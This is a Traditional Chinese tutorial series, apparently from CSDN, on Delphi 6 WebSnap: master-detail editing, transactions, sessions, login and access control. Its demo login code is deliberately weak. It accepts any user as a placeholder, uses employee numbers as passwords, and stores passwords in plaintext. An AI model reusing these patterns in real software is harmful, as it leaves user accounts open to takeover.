然 後 我 們 再 依 次 來 設 定 這 些 元 件 的 特 性 值 。 請 點 選 LayoutGroup1 元 件 ， 你 可 以 看 到 她 有 一 個 DisplayColumns 特 性 值 ， 預 設 值 是 -1 ， 這 個 特 性 值 是 控 制 這 個 LayoutGroup 有 幾 個 Columns 。 簡 單 的 說 ， LayoutGroup 是 一 個 Table ， 你 可 以 利 用 這 個 特 性 值 來 設 定 這 個 Table 有 幾 個 Column ， 請 你 將 LayoutGroup1.DisplayColumns 設 成 2 。

接 下 來 我 們 要 訂 制 化 LayoutGroup2 的 顯 示 樣 式 ， 請 在 她 的 Custom 特 性 值 中 輸 入 以 下 的 值 ， 這 會 使 LayoutGroup2 顯 示 成 一 個 單 框 的 Table:

border="1" bgcolor=#A5D7EF

然 後 我 們 開 始 設 定 LayoutGroup2 下 的 FieldGroup 以 及 CommandGroup 元 件 的 特 性 值 ， 首 先 是 FieldGroup1 ， 請 將 她 的 Adapter 特 性 值 設 成 Orders DataSetAdapter ， 由 於 我 們 希 望 Group 中 的 文 字 與 控 制 項 向 左 靠 齊 ， 所 以 也 請 你 設 定 她 的 Custom 特 性 值 為 align="left" 。

接 著 加 入 所 有 的 欄 位 :

最 後 只 需 將 CommandGroup1 的 DisplayComponents 特 性 值 設 成 FieldGroup1 並 加 入 New,Delete,Prev,Next,Apply,Refresh 這 五 個 按 紐 就 完 成 了 Master Form 的 設 計 了 。 完 成 後 我 們 開 始 設 定 Detail Form ， 請 你 照 著 圖 設 定 Grid1 的 幾 個 特 性 值 :

TableAttributes 特 性 值 是 用 來 設 定 整 個 Grid 的 顯 示 方 式 ， HeaderAttributes 及 RowAttributes 分 別 是 控 制 標 題 及 每 一 列 的 顯 示 方 式 。 這 裡 我 使 用 了 Custom 特 性 來 訂 製 化 Grid1 的 顯 示 樣 式 ， 實 際 作 業 時 你 可 以 選 擇 使 用 CSS 會 比 較 有 彈 性 。 我 希 望 能 讓 使 用 者 可 以 在 這 個 Grid 中 編 修 Detail 資 料 ， 因 此 我 們 必 須 使 用 TAdapterEditColumn 來 取 代 預 設 的 TAdapterDisplayColumn:

請 分 別 將 TAdapterEditColumn 的 FieldName 特 性 值 設 定 為 ItemNo,PartNo,Qty, Discount 四 個 欄 位 ， 接 著 請 在 CommandColumn1 中 加 入 Apply 及 Delete 兩 個 按 紐 :

然 後 將 CommandGroup2 的 DisplayComponent 特 性 值 設 為 AdapterGrid1 ， 並 在 裡 面 加 入 一 個 NewRow 按 紐 ， 將 她 的 PageName 設 成 NewDetail( 我 們 下 一 個 要 設 定 的 新 增 資 料 網 頁 ) ， 如 果 沒 有 錯 誤 的 話 你 應 該 可 以 看 到 下 面 這 個 網 頁 畫 面 :

接 下 來 我 們 要 新 增 一 個 Page Module 到 專 案 中 ， 這 個 Page 的 目 的 就 是 在 使 用 者 按 下 Detail Form 中 的 新 增 按 紐 後 ， 將 使 用 者 轉 到 這 個 網 頁 中 進 行 新 增 Detail 資 料 的 動 作 。 請 將 Page Name 設 成 NewDetail ， 接 著 uses DataModule 後 開 啟 Visual Page Designer 視 窗 ， 並 加 入 以 下 的 元 件 :

完 成 後 接 著 設 定 LayoutGroup1 的 Custom 特 性 值 為 : border="1" 這 可 以 使 這 個 LayoutGroup 擁 有 單 框 的 顯 示 樣 式 。 然 後 設 定 AdapterFieldGroup1 的 Adapter 特 性 值 為 Orders DataSetAdapter 並 且 在 裡 面 加 入 OrderNo 及 CustNo 兩 個 Field ， 並 將 她 們 的 ViewMode 設 成 vmDisplay ， 這 會 使 這 兩 個 Field 顯 示 成 文 字 狀 態 ， 且 不 會 受 AdapterMode 的 特 性 值 所 影 響 。

然 後 設 定 FieldGroup2 的 Adapter 特 性 值 為 Items Adapter ， 並 在 裡 面 加 入 ItemNo,PartNo,Qty, Discount 這 四 個 欄 位 :

最 後 設 定 CommandGroup1 的 DisplayComponent 特 性 值 為 AdapterFieldGroup2 ， 並 在 裡 面 加 入 Apply 、 Cancel 兩 個 按 紐 。 我 們 希 望 使 用 者 在 按 下 按 紐 後 回 到 MasterDetailEdit 網 頁 中 ， 因 此 請 設 定 她 們 的 PageName 為 MasterDetailEdit:

沒 有 錯 誤 的 話 你 會 看 到 以 下 的 網 頁 :

OK! 我 們 完 成 了 這 個 網 頁 了 ， 接 著 你 可 以 執 行 她 來 看 看 成 果 。 操 作 這 個 網 頁 有 一 個 小 地 方 要 注 意 ， 們 並 未 處 理 Detail 中 的 ItemNo 與 PartNo 欄 位 ， ItemNo 與 OrderNo 是 一 個 複 合 主 鍵 ， PartNo 則 必 須 是 PartNo Table 的 其 中 一 筆 資 料 ， 要 處 理 這 兩 個 欄 位 不 難 ， 只 要 運 用 DataSet 的 事 件 及 TDataSetValueList 元 件 就 可 以 解 決 了 ， 相 信 這 難 不 倒 你 。

4-2 、 控 制 交 易

我 們 在 這 個 網 頁 中 允 許 使 用 者 更 新 一 筆 以 上 的 Detail 資 料 ， 這 也 帶 來 了 問 題 ， 當 使 用 者 更 新 了 兩 筆 資 料 時 ， 如 果 其 中 的 一 筆 資 料 更 新 失 敗 了 ， 那 另 一 筆 資 料 還 是 會 存 回 資 料 庫 中 ， 這 在 某 些 情 況 下 是 不 被 允 許 的 ， 因 此 我 們 必 須 使 用 資 料 庫 的 交 易 控 制 功 能 來 解 決 這 個 問 題 ， 那 該 把 交 易 控 制 寫 在 那 裡 呢 ? 最 佳 的 控 制 位 置 是 在 Apply Action 的 BeforeExecute 及 AfterExecute 事 件 中 ， 我 們 可 以 在 BeforeExecute 中 啟 動 交 易 控 制 ， 在 AfterExecute 中 確 認 是 否 可 以 寫 入 資 料 庫 ， 請 看 以 下 的 片 段 程 式 碼 :

procedure TwdmData.ActionApply3BeforeExecute(Sender: TObject;

Params: TStrings; var Handled: Boolean);

begin

//transaction support

Database1.StartTransaction;

end;

procedure TwdmData.ActionApply3AfterExecute(Sender: TObject;

Params: TStrings);

begin

//transaction support

if dsAdaptItems.Errors.ErrorCount > 0 then

Database1.Rollback

else Database1.Commit;

end;

由 於 我 們 使 用 的 是 PARADOX 的 資 料 庫 ， 所 以 使 用 交 易 前 你 得 先 將 TDatabase.TransIsolation 特 性 值 設 成 tiDirtyRead 。

本 章 後 記

這 一 章 中 我 們 學 到 了 如 何 利 用 Layout 來 排 列 網 頁 上 的 元 件 ， 並 使 用 Custom 特 性 來 訂 製 網 頁 的 外 觀 ， 最 重 要 的 是 我 們 學 到 了 處 理 Master-Detail 資 料 庫 的 技 巧 ， 在 執 行 這 個 程 式 的 過 程 中 你 一 定 會 遇 到 許 多 的 例 外 ， 最 常 見 的 大 概 是 Variant 轉 換 的 錯 誤 ， 在 WebSnap 中 這 些 錯 誤 都 被 完 整 的 處 理 了 ， 因 此 你 可 以 不 必 擔 心 。

<第 五 章 、 使 用 者 管 理 及 Sessions>


CSDN_文档中心_Web Application 開 發 利 器 - WebSnap（五）

Web Application 開 發 利 器 - WebSnap!

第 五 章 、 使 用 者 管 理 及 Sessions

在 以 往 的 WebBroker+InternetExpress 架 構 下 ， 我 們 處 理 使 用 者 控 制 或 是 Session 管 理 都 很 麻 煩 ，WebSnap 加 強 了 這 部 份 的 能 力 ， 利 用 WebSnap 來 處 理 使 用 者 或 是 Session 是 一 件 非 常 簡 單 的 事 情 ， 接 下 來 我 們 就 為 我 們 的 程 式 加 上 這 些 功 能 。

5-1 使 用 者 管 理 及 Sessions 實 作

要 在 WebSnap 程 式 中 使 用 Session 及 使 用 者 控 制 功 能 的 話 ， 你 必 需 在 Application Module 中 加 入 三 個 元 件 :TEndUserSessionAdapter 、 TWebUserList 、 TSessionServices 。 TEndUserSessionAdapter 繼 承 至 TEndUserAdapter 並 加 入 了 Session 的 處 理 ， 簡 單 的 說 她 只 是 把 使 用 者 的 資 料 存 入 Session 中 而 已 。 TWebUserList 則 負 責 儲 存 使 用 者 資 料 及 驗 證 的 工 作 ， TSessionServices 是 整 個 WebSnap Application Session 控 管 的 核 心 元 件 ， 當 網 頁 被 啟 動 時 TWebAppComponents 會 呼 叫 TSessionServices 來 產 生 一 個 Session 給 來 訪 者 ， 接 著 再 將 這 個 Session 傳 給 WebContext 保 存 。 當 送 出 Response 時 將 SessionID 封 裝 成 Cookie 一 併 送 給 使 用 者 ， 接 下 來 的 Request 就 會 以 Cookie 將 這 個 SessionID 送 回 給 我 們 的 程 式 。 有 了 這 個 SessionID 我 們 就 可 以 取 得 上 次 Session 中 的 資 料 了 ， 這 些 動 作 會 受 到 Cookie 的 保 存 時 限 與 Session 的 保 存 時 限 所 影 響 ， 當 Cookie 過 期 或 是 Session 的 時 限 到 期 亦 或 者 是 你 重 新 啟 動 了 程 式 後 Session 就 視 同 消 失 了 ， 以 下 是 WebSnap 處 理 Session 的 流 程 :

( 圖 :6)

當 你 放 好 這 些 元 件 後 ， 你 還 要 設 定 TWebUserList 中 的 使 用 者 資 料 ， 請 雙 按 她 的 UserItems 特 性 值 來 加 入 使 用 者 資 料 ， 並 設 定 其 ID 與 密 碼 資 料 :

這 個 範 例 中 除 了 TEndUserSessionAdapter 會 將 使 用 者 資 料 存 放 在 Session 之 外 ， 我 們 也 搭 個 便 車 使 用 一 下 Session 物 件 。 請 你 在 TEndUserSessionAdapter 中 加 入 一 個 AdapterField 名 稱 是 AdaptAge:

接 著 撰 寫 她 的 OnGetValue 事 件 ， 加 入 以 下 的 程 式 碼 :

if not VarIsEmpty(Session.Values['Age']) then
  Value:=Session.Values['Age']
else Value:='';

上 面 這 一 段 程 式 碼 是 用 來 確 定 Session 中 是 否 有 一 個 Age 的 值 ， 有 的 話 就 存 入 Value 變 數 中 。 這 樣 我 們 就 可 以 在 Home Module 的 Script 中 加 入 以 下 的 程 式 來 顯 示 這 個 值 :

<h1> 歡 迎 <%=EndUser.DisplayName %> 你 今 年 是 <%=EndUser.AdaptAge.Value%> 歲 </h1>

定 義 語 系 ( 以 免 被 當 成 其 它 語 系 網 頁 )

<meta http-equiv="Content-Type" content="text/html; charset=big5">

然 後 我 們 要 新 增 一 個 Page Module 來 讓 使 用 者 登 入 系 統 ， 請 選 擇 AdapterPageProducer 並 將 PageName 設 為 Login ， 接 著 在 裡 面 放 入 一 個 TLoginFormAdapter 元 件 。 由 於 我 們 希 望 搭 Login 的 便 車 讓 使 用 者 填 入 額 外 的 資 料 ， 因 此 除 了 TLoginFormAdapter 預 設 的 三 個 AdapterField 元 件 之 外 ， 我 們 還 要 額 外 加 入 一 個 AdapterField 元 件 :

完 成 後 我 們 還 得 撰 寫 AdaptAge 的 OnUpdateValue 事 件 ， 將 輸 入 的 值 存 入 Session 中 :

procedure TLogin.AdaptAgeUpdateValue(Sender: TObject; Value: Variant);
begin
  Session.Values['Age']:=AdaptAge.ActionValue.Values[0];
end;

然 後 我 們 就 可 以 開 啟 Visual Page Designer 來 設 計 我 們 的 登 入 網 頁 了 ， 整 個 畫 面 如 下 :

最 後 回 到 Application Module 將 TEndUserSessionAdapter 的 LoginPage 特 性 值 設 為 Login( 登 入 網 頁 的 PageName) 就 完 成 了 。

那 我 們 要 如 何 將 一 個 網 頁 設 定 為 使 用 者 必 須 預 先 登 入 才 能 進 入 的 呢 ? 你 有 兩 種 選 擇 ， 一 是 在 建 立 Page Module 時 將 Login Required 選 項 打 勾 ， 另 一 個 是 手 動 去 改 變 Page Module 的 特 性 值 ， 這 個 範 例 中 我 要 將 Edit 這 個 網 頁 設 定 成 需 要 先 登 入 才 能 訪 問 的 網 頁 ， 因 此 我 將 Edit 內 的 程 式 碼 做 下 列 的 修 改 :

WebRequestHandler.AddWebModuleFactory(TWebPageModuleFactory.Create(TEdit, TWebPageInfo.Create(

[wpPublished , wpLoginRequired],'.html'),crOnDemand, caCache));

完 成 後 就 可 以 執 行 程 式 來 看 看 成 果 了 ， 正 常 的 話 使 用 者 必 須 要 Login 之 後 才 能 訪 問 Edit 網 頁 ， 這 點 倒 是 很 正 常 ， 但 你 有 沒 有 發 現 到 一 個 問 題 :

上 圖 中 我 們 看 到 了 使 用 者 可 以 改 變 NextPage 來 選 擇 Login 後 導 向 的 網 頁 ， 這 在 很 多 情 況 下 不 適 用 ， 因 為 我 們 可 能 不 想 讓 使 用 者 改 變 這 個 設 定 ， 我 們 可 能 想 要 在 程 式 中 判 斷 或 是 將 這 個 值 設 死 。 以 目 前 的 TLoginFormAdapter 來 看 ， 這 個 NextPage 屬 性 是 保 護 層 級 的 ， 那 也 代 表 著 我 們 無 法 改 變 她 ， 據 DELPHI R&D 的 說 法 是 Patch 後 就 會 公 開 這 個 屬 性 了 ， 目 前 我 們 可 以 使 用 以 下 的 技 巧 來 完 成 這 個 動 作 :

TProtectedLoginFormAdapter=class(TLoginFormAdapter);
… … … … … .
TProtectedLoginFormAdapter(LoginFormAdapter1).NextPage:='Home';

如 果 你 看 過 我 的 另 一 篇 文 章 的 話 ， 那 這 個 技 巧 對 你 來 說 應 該 是 蠻 熟 悉 的 。 你 可 以 將 這 段 程 式 碼 放 至 在 Module 的 Activate 事 件 中 ， 當 你 成 功 登 入 系 統 並 選 擇 Next Page 為 Code6421 的 首 頁 後 ， 你 應 該 會 看 到 這 樣 的 畫 面 :

這 樣 你 應 該 清 楚 了 Session 的 運 用 了 吧 ， 那 我 們 可 以 在 Session 中 存 入 那 些 型 態 的 資 料 呢 ? 理 論 上 只 要 是 Variant 所 支 援 的 型 態 就 可 以 存 入 Session 中 。

5-2 保 存 期 限 的 控 制

這 個 範 例 大 概 可 以 滿 足 大 部 份 的 需 求 ， 但 你 看 到 以 下 的 畫 面 後 可 能 就 不 太 認 同 了 :

上 圖 中 我 開 啟 了 一 個 網 頁 登 入 後 又 另 外 再 開 啟 另 一 個 IE 網 頁 ， 結 果 你 可 以 發 現 到 你 必 須 在 第 二 個 網 頁 中 再 登 入 一 次 ， 這 在 許 多 情 況 下 是 不 適 用 的 。 這 是 因 為 Cookie 的 保 存 期 限 設 定 所 造 成 的 後 果 ， 我 們 可 以 藉 由 設 定 Cookie 的 保 存 期 限 來 解 決 這 個 問 題 :

uses DateUtils;
… ..
procedure THome.WebAppComponentsBeforeDispatch(Sender: TObject;
  Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
var
  I:Integer;
begin
 for I:=0 to WebContext.Response.Cookies.Count-1 do
   begin
    if SameText(WebContext.Response.Cookies.Items[I].Name,'WebBrokerSessionID') then
     begin
       if WebContext.Response.Cookies.Items[I].Expires = -1 then
          WebContext.Response.Cookies.Items[I].Expires:=IncDay(Date);
     end;
   end;
end;

在 上 面 的 程 式 我 們 將 Cookie 的 保 存 期 限 設 為 一 天 ， 然 後 你 再 啟 動 程 式 後 就 正 常 了 :

除 了 多 個 IE 視 窗 的 問 題 外 ， 如 果 我 們 的 使 用 者 資 料 是 存 放 在 資 料 庫 中 時 要 如 何 做 呢 ? 看 以 下 的 片 段 程 式 你 就 清 楚 了 :

procedure THome.WebUserListBeforeValidateUser(Strings: TStrings;
  var UserID: Variant; var Handled: Boolean);
begin
  if Strings.Count > 0 then
     UserID:=Strings.Values['UserName'];
  Handled:=True;
end;

上 圖 中 我 只 是 單 純 的 記 錄 使 用 者 所 輸 入 的 資 料 ， 也 就 是 說 不 管 他 是 誰 都 可 以 通 過 驗 證 。 你 可 以 在 這 裡 面 加 入 由 資 料 庫 中 取 得 資 料 並 與 使 用 者 輸 入 的 資 料 作 比 對 的 程 式 碼 ， 成 功 的 話 才 把 使 用 者 名 稱 設 給 UserID 。 當 你 將 名 稱 設 給 UserID 後 ， 就 代 表 著 該 使 用 者 已 通 過 驗 證 ， 在 傳 入 的 Strings 參 數 中 有 兩 個 值 ， 一 個 是 UserName ， 另 一 個 就 是 Password 了 。

5-3 權 限 的 控 管

除 了 基 本 的 使 用 者 控 制 外 ， WebSnap 也 提 供 了 權 限 的 控 管 ， 範 圍 由 Page 到 Action 都 有 ， 你 可 以 試 著 設 定 某 個 Page 的 xxxxAccess 特 性 值 來 處 理 權 限 的 控 制 。

WebRequestHandler.AddWebModuleFactory(TWebPageModuleFactory.Create(TMasterDetailEdit,
     TWebPageInfo.Create([wpPublished {, wpLoginRequired}], '.html'), crOnDemand, caCache));
constructor TWebPageInfo.Create(AAccess: TWebPageAccess; const APageFile, APageName: string;
     const ACaption, ADescription, AViewAccess: string);

在 TWebUserList 中 有 一 個 處 理 AccessRight 的 事 件 ， 與 上 面 的 程 式 搭 配 後 ， 你 就 可 以 建 構 出 完 整 的 使 用 者 控 管 功 能 了 ! 除 了 Adapter 、 WebPageInfo 、 AdapterAction 之 外 ， 我 們 也 可 以 設 定 某 個 Adapter Control Items 針 對 權 限 的 不 同 做 出 正 確 的 反 應 。 例 如 你 可 以 設 定 TAdapterDisplayField 的 ViewMode 為 vmToggleOnAccess ， 這 樣 這 個 Control 就 會 在 使 用 者 沒 有 Modify 權 限 時 轉 變 為 純 顯 示 ， 在 使 用 者 擁 有 Modify 權 限 時 轉 變 為 Edit 。 看 起 來 好 像 很 不 錯 ， 事 實 上 她 有 一 個 問 題 ， 就 像 是 我 們 的 MasterDetailEdit 網 頁 是 在 使 用 者 一 進 入 網 頁 後 就 是 編 修 模 式 ， 一 開 始 沒 啥 錯 誤 ， 所 有 的 Control 因 為 使 用 者 沒 有 編 修 的 權 限 全 都 進 入 了 純 文 字 的 顯 示 ， 但 你 別 忘 了 ， 我 們 將 AdapterMode 設 成 Edit 了 ， 這 也 代 表 著 我 們 移 動 記 錄 會 觸 發 Update 的 動 作 。 在 這 個 Update 函 式 的 第 一 行 就 呼 叫 了 CheckModifyAccess ， 因 為 使 用 者 沒 有 編 修 的 權 限 ， 當 然 例 外 就 跳 出 來 了 ， 那 我 們 就 不 能 使 用 這 個 功 能 了 嗎 ? 呵 ! 山 不 轉 路 轉 ， 我 們 可 以 在 MasterDetailEdit.OnBeforeDispatchPage 事 件 中 加 上 處 理 權 限 的 程 式 碼 :

procedure TMasterDetailEdit.WebPageModuleBeforeDispatchPage(
  Sender: TObject; const PageName: String; var Handled: Boolean);
var
  UserItem:TWebUserItem;
  EditMode:string;
begin
  UserItem:=Home.WebUserList1.UserItems.FindUserName(Home.EndUserSessionAdapter1.UserID);
  EditMode:='';
  if Assigned(UserItem) then
   begin
     if UserItem.AccessRights = wdmData.dsAdaptOrder.ModifyAccess then
        EditMode:='Edit';
   end;
  AdapterFieldGroup1.AdapterMode:=EditMode;
  AdapterGrid1.AdapterMode:=EditMode;
end;

然 後 將 所 有 的 AdapterEditColumn 以 及 AdapterDisplayField 的 ViewMode 都 改 成 vmToggleOnAccess 就 可 以 正 確 的 執 行 了 。 其 實 這 並 不 算 是 Bug ， 只 是 使 用 的 方 式 不 同 罷 了 ， 但 這 樣 還 是 不 足 以 完 成 整 個 MasterDetailEdit 的 權 限 控 制 ， 使 用 者 還 是 可 以 使 用 那 些 按 紐 。 雖 然 會 產 生 例 外 ， 也 不 會 更 動 到 資 料 ， 但 感 覺 上 總 是 不 太 對 ， 其 實 我 們 可 以 藉 由 設 定 DataSetAdapter.Actions 中 的 AdapterAction.ExecuteAccess 特 性 值 及 ActionButton.HiddenOptions 特 性 值 為 [bhoHiddOnNoExecuteAccess] ， 這 樣 就 可 以 視 權 限 來 決 定 隱 藏 或 顯 示 按 紐 ， 範 例 中 的 MasterEditDetail 網 頁 已 經 有 完 整 的 權 限 控 制 了 ， 你 可 以 用 code6421 密 碼 是 1234 登 入 後 就 可 以 修 改 了 ， 如 果 沒 有 登 入 的 話 ， 你 就 只 能 夠 看 到 純 文 字 的 顯 示 。

5-4 將 Session 存 放 於 檔 案 中

控 制 Cookie 的 保 存 期 限 是 一 種 較 簡 單 的 方 法 ， 但 是 這 種 方 式 有 個 致 命 的 缺 點 。 當 我 們 的 Web 程 式 被 關 閉 後 ( 指 整 個 程 式 被 從 記 憶 體 中 移 除 ， 例 如 你 將 Web Server 或 電 腦 重 新 啟 動 ) ， 因 為 Session 是 存 放 於 記 憶 體 之 中 ， 所 以 也 跟 著 程 式 的 停 止 而 消 失 了 。 這 時 使 用 者 所 保 留 的 Cookie 也 就 沒 有 作 用 了 ， 要 解 決 這 個 問 題 ， 我 們 有 兩 種 選 擇 ， 較 簡 單 的 方 法 是 在 程 式 停 止 之 前 ， 將 整 個 Sessions 全 數 存 入 資 料 庫 中 ， 下 次 啟 動 時 再 由 資 料 庫 讀 取 後 ， 回 存 至 Sessions 物 件 。 這 種 方 法 有 個 缺 點 ， 因 為 我 們 是 存 放 整 個 Sessions ， 因 此 可 能 會 存 入 一 些 多 餘 的 資 料 ， 例 如 暫 時 性 的 變 數 、 或 是 一 些 根 本 就 不 值 得 保 存 的 資 料 ， 這 很 浪 費 記 憶 體 與 空 間 。 第 二 種 方 式 是 只 存 放 目 前 所 使 用 的 Session ， 這 個 方 式 較 前 者 好 ， 但 還 是 有 一 樣 的 問 題 ， 只 是 問 題 的 情 況 較 簡 單 ， 因 為 我 們 只 存 放 一 個 Session ， 因 此 浪 費 的 部 份 也 只 限 於 這 個 Session 物 件 中 ， 比 起 第 一 種 方 法 來 的 好 多 了 。 這 一 節 所 使 用 的 範 例 程 式 是 Demo2 ， 請 你 開 啟 範 例 程 式 對 照 著 看 。

整 個 程 式 的 概 念 是 來 自 於 Nick Hodges ， 我 取 用 了 部 份 的 程 式 碼 ， 將 她 整 合 至 我 的 範 例 程 式 中 。 首 先 我 先 介 紹 在 Home Page Module 中 的 兩 個 工 具 函 式 :

// Write a session to a stream
procedure THome.SaveSession(AID: TSessionID; aStream: TStream);
var
  TempSessions: TSessions;
  TempItem: TSessionItem;
begin
  TempSessions := TSessions.Create;
  try
    TempItem := TSessionItem.Create(TempSessions);
    if Sessions.GetSession(AID, TempItem) then
         TempSessions.SaveToStream(aStream)
    else
         Assert(False, 'Session not found');
  finally
      TempSessions.Free;
  end;
end;

// Update or Add all name/value pairs from the saved session to a new or existing session
procedure THome.RestoreSession(AID: TSessionID;  aStream: TStream);
var
  TempSessions: TSessions;
  Item: TSessionItem;
  I: Integer;
begin
  if aStream.Size <> 0 then // if there is no data there, don't do anything
  begin
      TempSessions := TSessions.Create;
    try
        TempSessions.LoadFromStream(aStream);
         if AID = '' then
           // Create a new session
             AID := SessColn.Sessions.StartSession
         else
             Assert(Sessions.SessionExists(AID), 'Could not find session ' + AID);
           Item := TempSessions.Items[0] as TSessionItem;
           for I := 0 to Item.Items.Count - 1 do
             Sessions.SetItemValue(AID, Item.Items.Names[I], Item.Items.Variants[I]);
    finally
          TempSessions.Free;
       end;
  end;
end;

SaveSession 函 式 的 功 用 是 取 出 Sessions 中 符 合 傳 入 的 SessionID 的 Session 取 出 ， 由 於 Session 物 件 本 身 並 未 提 供 SaveToStream 的 功 能 ， 這 個 功 能 位 於 Sessions 物 件 之 中 ， 因 此 Nick 建 立 了 一 個 暫 時 性 的 Sessions 物 件 ， 並 將 取 得 的 Session 複 製 到 暫 存 的 Session 物 件 之 中 ， 最 後 再 呼 叫 SaveToStream 來 存 入 Session 物 件 至 Stream 中 。

RestoreSession 則 與 SaveSession 完 全 相 反 ， 她 的 功 用 是 由 Stream 中 取 出 Session 物 件 ， 接 著 將 她 回 存 到 現 行 的 Session 中 。 有 了 這 兩 個 工 具 函 式 後 ， 我 們 撰 寫 程 式 就 方 便 多 了 。 接 下 來 我 們 先 規 劃 一 下 要 如 何 運 用 這 兩 個 函 式 建 立 可 將 Session 保 存 至 資 料 庫 的 程 式 。 下 面 是 我 們 程 式 的 流 程 圖 :

當 使 用 者 第 一 次 登 入 時 ， 她 必 須 要 到 填 寫 個 人 資 料 的 網 頁 中 填 寫 資 料 ， 在 這 個 網 頁 中 我 們 製 作 了 一 個 確 定 的 按 紐 ， 執 行 後 我 們 就 利 用 資 料 庫 以 及 SaveSession 函 式 來 將 Session 存 入 資 料 庫 。 這 樣 使 用 者 第 二 次 登 入 時 ， 系 統 就 可 以 由 資 料 庫 中 取 得 上 次 的 Session 資 料 ， 接 著 使 用 RestoreSession 函 式 將 她 還 原 回 Session 物 件 。 我 們 建 構 一 個 新 的 Table ， 在 其 中 建 立 三 個 欄 位 ， USER_ID 、 SESSION_ID 、 SESSION_INFO ， USER_ID 用 來 儲 存 使 用 者 登 入 的 ID ， SESSION_ID 則 是 儲 存 使 用 者 登 入 後 系 統 所 產 生 的 SessionID ， SESSION_INFO 是 用 在 儲 存 Session 物 件 上 。

接 著 我 們 要 撰 寫 儲 存 Session 至 資 料 庫 的 程 式 碼 ， 我 們 選 擇 寫 在 使 用 者 填 入 個 人 資 料 並 按 下 確 定 按 紐 的 OnExecute 事 件 中 :

procedure TProfile.AdaptSaveProfileExecute(Sender: TObject;
  Params: TStrings);
procedure SaveSession;
var
  S:TStream;
begin
   if not dmData.tbSessionFile.Active then
      dmData.tbSessionFile.Open;
   if dmData.tbSessionFile.Locate('USER_ID',WebContext.EndUser.DisplayName,[]) then
      dmData.tbSessionFile.Edit
   else
      dmData.tbSessionFile.Append;
   dmData.tbSessionFile.FieldByName('USER_ID').Value:=WebContext.EndUser.DisplayName;
   dmData.tbSessionFile.FieldByName('SESSION_ID').Value:=Session.SessionID;
   S:=dmData.tbSessionFile.CreateBlobStream(dmData.tbSessionFile.FieldByName('SESSION_INFO'),bmWrite);
   try
    Home.SaveSession(Session.SessionID,S);
    dmData.tbSessionFile.Post;
   finally
    S.Free;
   end;
end;
begin
  Adapter1.UpdateRecords((WebContext.AdapterRequest as IActionRequest));
  SaveSession;
end;

在 使 用 者 登 入 後 ， 如 果 判 定 使 用 者 是 第 二 次 登 入 的 話 ， 我 們 要 由 資 料 庫 將 Session 取 出 並 還 原 ， 我 選 擇 將 她 寫 在 WebUserList.OnBeforeValidateUser 事 件 中 :

procedure THome.WebUserListBeforeValidateUser(Strings: TStrings;
  var UserID: Variant; var Handled: Boolean);
 procedure LoadSession(AUserID:string);
 var
  S:TStream;
 begin
  if WebUserList.UserItems.Count = 0 then
     exit;
  if not dmData.tbSessionFile.Active then
     dmData.tbSessionFile.Open;
  if dmData.tbSessionFile.Locate('USER_ID',AUserID,[]) then
    begin
       S:=dmData.tbSessionFile.CreateBlobStream(dmData.tbSessionFile.FieldByName('SESSION_INFO'),
                                                bmRead);
       try
       RestoreSession(Session.SessionID,S);
       finally
       S.Free;
       end;
    end;
  end;
var
  uItems:TWebUserItem;
begin
  //process user login
  if not dmData.tbEmployee.Active then
     dmData.tbEmployee.Open;
  if dmData.tbEmployee.Locate('FirstName;EmpNo',VarArrayOf([Strings.Values['Username'],
                                                            Strings.Values['Password']]),[]) then
   begin
     uItems:=WebUserList.UserItems.Add as TWebUserItem;
     uItems.UserName:=Strings.Values['Username'];
     uItems.Password:=Strings.Values['Password'];
     uItems.AccessRights:='';
     LoadSession(uItems.UserName);
   end;
end;

這 樣 我 們 就 完 成 了 保 存 Session 的 程 式 了 ， 這 個 程 式 有 個 小 缺 點 ， 那 就 是 儲 存 的 範 圍 還 是 太 廣 了 些 ， Session 中 可 能 會 有 一 些 暫 存 型 的 資 料 ， 我 們 並 不 想 保 留 這 些 資 料 ， 但 這 個 程 式 還 是 會 將 這 些 資 料 一 併 存 入 。 在 日 後 的 文 章 中 我 會 重 新 撰 寫 這 個 程 式 ， 讓 她 只 存 我 們 所 需 要 的 資 料 。

本 章 後 記

這 一 節 我 們 討 論 了 使 用 者 管 理 及 Session 等 技 術 ， 到 這 裡 為 止 這 篇 文 章 的 上 半 段 也 結 束 了 ， 接 著 我 們 將 會 進 入 另 外 一 個 階 段 ， 詳 細 探 索 WebSnap 的 細 部 行 為 及 一 些 更 進 階 的 應 用 。

<第 六 章 、 執 行 者 : TAdapterDispatcher 及 AdapterAction>


CSDN_文档中心_Web Application 開 發 利 器 - WebSnap（一）

Web Application 開 發 利 器 - WebSnap!

Written by Code6421
2001/9/28

更 新 記 事

( 本 篇 文 章 使 用 DELPHI 6.01 為 藍 本， 請 更 新 你 的 DELPHI　至 6.01 版!)

第 零 章 、 前 言

WebSnap 是 DELPHI 6 最 新 的 Web Application 開 發 架 構 ， 她 以 前 一 版 本 的 WebBroker 為 基 礎 ， 並 加 入 了 許 多 在 WebBroker+InternetExpress 架 構 中 所 缺 少 的 功 能 。 雖 然 說 是 加 強 ， 但 從 技 術 角 度 上 來 看 ， 兩 者 其 實 都 被 重 新 設 計 過 了 。 以 往 的 WebBroker+InternetExpress 架 構 中 ， 最 大 的 問 題 是 支 援 的 功 能 過 於 簡 單 ， 例 如 Session,Pages Manager,Servier-Side Scipt 等 開 發 Web Application 必 要 的 功 能 在 這 個 架 構 中 全 部 缺 席 。 使 用 者 常 常 必 須 靠 著 3rd-Party 元 件 的 支 援 ， 或 自 行 撰 寫 這 類 元 件 來 滿 足 專 案 的 需 求 ， 這 使 得 設 計 師 的 生 產 力 打 了 折 扣 。 WebSnap 架 構 補 足 了 這 些 功 能 並 且 加 入 了 許 多 新 的 元 件 ， Borland 同 時 強 化 了 WebBroker ， 加 入 了 管 理 網 頁 用 的 Multi-Modules 功 能 ， 這 個 功 能 使 得 我 們 在 處 理 Pages Manager ( 網 頁 管 理 ) 工 作 變 的 簡 單 且 自 動 化 。 除 了 這 些 之 外 ， WebSnap 在 架 構 上 使 用 了 許 多 新 穎 且 實 用 的 Design Patterns 概 念 ， 這 個 決 定 使 得 WebSnap 整 個 架 構 可 以 橫 向 或 縱 向 延 展 ， 讓 日 後 的 移 植 與 擴 充 工 作 變 的 相 當 簡 單 。 Borland 也 計 劃 在 日 後 將 WebSnap 整 個 架 構 移 植 至 Kylix 上 ， 讓 DELPHI 設 計 師 能 在 Windows 及 Linux 兩 種 平 台 上 設 計 Web 應 用 程 式 ， 這 對 有 跨 平 台 需 求 的 專 案 來 說 是 一 大 福 音 。 可 惜 美 中 不 足 的 是 在 DELPHI 6 出 貨 時 ， 伴 隨 的 